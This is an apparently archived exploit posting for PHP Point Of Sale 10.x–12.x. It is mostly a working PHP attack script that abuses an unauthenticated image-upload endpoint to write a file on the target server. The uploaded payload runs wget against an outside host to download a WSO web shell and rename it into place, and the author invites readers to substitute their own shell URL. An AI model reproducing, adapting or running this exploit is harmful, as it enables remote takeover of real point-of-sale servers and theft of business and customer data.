PHP Point Of Sale 10.x / 11.x / 12.x Remote Code Execution

2013-10-18T00:00:00
ID PACKETSTORM:123661
Type packetstorm
Reporter Gabby
Modified 2013-10-18T00:00:00

Description

                                        
                                            `###################################################################################​##################  
# __________.__ _________ _________  
# \__ ___/| |__ ____ \_ ___ \_______ ______ _ ________ \_ ___ \_______ ______ _ __  
# | | | | \_/ __ \ / \ \/\_ __ \/ _ \ \/ \/ / ___/ / \ \/\_ __ \_/ __ \ \/ \/ /  
# | | | Y \ ___/ \ \____| | \( <_> ) /\___ \ \ \____| | \/\ ___/\ /  
# |____| |___| /\___ > \______ /|__| \____/ \/\_//____ > \______ /|__| \___ >\/\_/  
# \/ \/ \/ \/ \/ \/  
#  
#  
#http://thecrowscrew.org  
###################################################################################​##################  
# Exploit title : PHP Point Of Sale 10.x - 11.x - 12.x Remote Code Execution Vulnerability  
# Author : Gabby   
# Dork : use ur brain ;)  
# Vendor Site : https://www.phppointofsale.com/‎  
# Software : http://sourceforge.net/projects/opensourcepos/  
###################################################################################​##################  
<?php   
$options = getopt('t:n:');   
if(!isset($options['t'], $options['n']))   
die("\n [+] Simple Exploiter Point Of Sale by Gabby [+] \n Usage : php sale.php -t http://target.com -n bie.php\n   
-t http://target.com = Target mu ..  
-n bie.php = Nama file yang mau kamu pakai...\n\n");   
  
$target = $options['t'];   
$nama = $options['n'];   
$shell = "{$target}/application/libraries/tmp-upload-images/{$nama}";   
$target = "{$target}/application/libraries/ofc-library/ofc_upload_image.php?name={$nama}";   
$data = '<?php   
system("wget http://0wn3d.ga/wso.txt; mv wso.txt bie.php");  
fclose ( $handle );   
?>';   
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1',   
'Content-Type: text/plain');   
echo "=============================================== \n";   
echo ": Simple Exploiter Point Of Sale by Gabby :\n";   
echo "=============================================== \n\n";   
echo "[+] Upload Shell ke : {$options['t']}\n";   
$handle = curl_init();   
curl_setopt($handle, CURLOPT_URL, $target);   
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);   
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);   
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);   
$source = curl_exec($handle);   
curl_close($handle);   
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r'))   
{   
echo "[+] Exploit Sukses,.. :D\n";   
echo "[+] {$shell}\n";   
}   
else  
{   
die("[-] Exploit Gagal,.. :(\n");   
}   
  
?>  
  
ps ; u can change that shell url with ur own,..  
  
###################################################################################​##################  
Thanks to :  
Catalyst71 di tunggu tri-ji-pi-nya >_<, kit4r0, 777r, ovanIsmycode, walangkaji, y0g4, N035, my "Dad",   
my sista Wii, cW3 G4pt3K, Red-x, Vanda, Deb + Sultan yg dah mulai sombong, Meninbox, /Dzawa yg udah  
temenin begadang, Th3.Black.D3Vils n all my luvly friend,..  
  
Greets to :  
Yogyacarderlink, SurabayaBlackhat & Madleets Team... ^^  
###################################################################################​##################  
`